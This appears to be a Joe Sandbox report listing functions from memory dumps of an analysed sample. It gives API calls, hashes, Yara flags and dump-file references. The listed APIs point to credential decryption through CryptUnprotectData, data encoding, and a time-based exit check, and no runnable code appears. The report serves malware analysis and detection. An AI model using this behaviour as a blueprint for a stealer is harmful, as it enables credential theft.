Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9269, 6C6C921F, 6C6C5703, 6C6C5740, 6C6C56C7, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9269, 6C6C921F, 6C6C5703, 6C6C5740, 6C6C56C7, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 013CA8C9 Relevance: 9.1, Strings: 6, Instructions: 1613COMMON

Download Yara Rule

Strings

J|=, xrefs: 013CB4D1
'XA?, xrefs: 013CACB5
S{_, xrefs: 013CAEF5
sai, xrefs: 013CB711
Z^, xrefs: 013CBB5B
&lw^, xrefs: 013CB911

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &lw^$'XA?$S{_$Z^$sai$J|=
API String ID: 0-3078267542
Opcode ID: e9b9bc5f8b721064c4849cc316ea099b04ac84b06800d8bc3055094a22adda0b
Instruction ID: c1de580e5b7554018e8ac3d1385b6f9e415eaf3e4f2e4825f440ee92707cf2e3
Opcode Fuzzy Hash: e9b9bc5f8b721064c4849cc316ea099b04ac84b06800d8bc3055094a22adda0b
Instruction Fuzzy Hash: EDB219F360C2049FE3046E2DEC8577ABBE9EF94720F1A853DEAC4C7744EA3558058696

Function 013C57EC Relevance: 7.9, Strings: 5, Instructions: 1606COMMON

Download Yara Rule

Strings

J#wr, xrefs: 013C5DCF
0Wr, xrefs: 013C5B3D
r', xrefs: 013C6425
?KW2, xrefs: 013C64EA
.+S^, xrefs: 013C62E7

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: r'$.+S^$0Wr$?KW2$J#wr
API String ID: 0-2795121905
Opcode ID: 3b1359cb0e76c6aa8e457d34177b90e7a5d393ad5fc6e24c714e4b5517f20c25
Instruction ID: 1293246a4d907788174fcf1d6417774bdfd3187ba15bbd1368af0c7a2dd68f42
Opcode Fuzzy Hash: 3b1359cb0e76c6aa8e457d34177b90e7a5d393ad5fc6e24c714e4b5517f20c25
Instruction Fuzzy Hash: E5B216F3A082049FE3046F2DEC8567AFBE5EF94720F1A493DEAC487744EA3558118697

Function 01006920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0100696C
sscanf.NTDLL ref: 01006999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010069C0
ExitProcess.KERNEL32 ref: 010069DA

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8988028cfb893897a98df7d46e7c3e0c963a9d0528a370c582cb6faa9813eae8
Instruction ID: 0d6163ae7cf657934ec788104a64ebe8b156c6f19ec19eae9051c47b6a29cdb6
Opcode Fuzzy Hash: 8988028cfb893897a98df7d46e7c3e0c963a9d0528a370c582cb6faa9813eae8
Instruction Fuzzy Hash: 99213EB5D10209ABDF04EFE4E949AEEB7B9FF48300F04852EE046E3244EB355604CB65

Function 00FF7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00FF724D
RtlAllocateHeap.NTDLL(00000000), ref: 00FF7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00FF7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00FF72A4
LocalFree.KERNEL32(?), ref: 00FF72AE

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 627bca2684ee4438e49848ec51c59470a7e3af217ce10d6f167de5ed2020ea38
Instruction ID: 61b0e16a2ee540b2efac6f6be331c157be7c9d9083e434cedbb256e09c26c213
Opcode Fuzzy Hash: 627bca2684ee4438e49848ec51c59470a7e3af217ce10d6f167de5ed2020ea38
Instruction Fuzzy Hash: 90010075A40208BBEB24DB94DD4AFADB778BB44700F104158FB45EB2C4D670AA019B65

Function 013C72F2 Relevance: 6.6, Strings: 4, Instructions: 1634COMMON

Download Yara Rule

Strings

qo{Q, xrefs: 013C81B7
7N{{, xrefs: 013C8435
s_]O, xrefs: 013C739E
Dl^s, xrefs: 013C7E9E

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7N{{$Dl^s$qo{Q$s_]O
API String ID: 0-1828314055
Opcode ID: cfac4ec949412c46660879569f9e095332b332169a52fd8185bff81fd5055b44
Instruction ID: c1be2971e95a0fef921c158fbe8bb3da5033875caafb0c2aa2d6a11c16be9208
Opcode Fuzzy Hash: cfac4ec949412c46660879569f9e095332b332169a52fd8185bff81fd5055b44
Instruction Fuzzy Hash: 59B207F3A0C6009FE304AE2DEC8567AFBE5EB94320F1A493DE6C4C7744EA3558458796

Function 013D4B9E Relevance: 6.5, Strings: 4, Instructions: 1524COMMON

Download Yara Rule

Strings

M:5f, xrefs: 013D50C0
[D7g, xrefs: 013D4EF9
u=~, xrefs: 013D5748
&.Bg, xrefs: 013D528C

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &.Bg$M:5f$[D7g$u=~
API String ID: 0-2485414754
Opcode ID: a82d9c91a8732b366ed837a3d052075c8a0a32f48962a4647fcc502d18f11edc
Instruction ID: 5469a7dabd35f5e87c68493ab88f22d3a7e67cb7fc108959ba514e7869b542b0
Opcode Fuzzy Hash: a82d9c91a8732b366ed837a3d052075c8a0a32f48962a4647fcc502d18f11edc
Instruction Fuzzy Hash: F6B2D1F390C2049FE704AF29EC8567ABBE5EF94720F16492DEAC5C3740EA3558418B97

Function 01008EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00FF5184,40000001,00000000,00000000,?,00FF5184), ref: 01008EC0

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 907110de3995f859af0350646c8560816cc0eab36575273d1aa26042ca41039c
Instruction ID: 58e7daf8808cf342646316713d1e4ab18e84123aeb252269bd1b751ae9a1aa79
Opcode Fuzzy Hash: 907110de3995f859af0350646c8560816cc0eab36575273d1aa26042ca41039c
Instruction Fuzzy Hash: 1B110A70600205AFEB41CF64E888FBB33A9BF89300F00D459FA958B291D735E841DB60

Function 00FF9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9B2A
LocalFree.KERNEL32(?,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B3F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
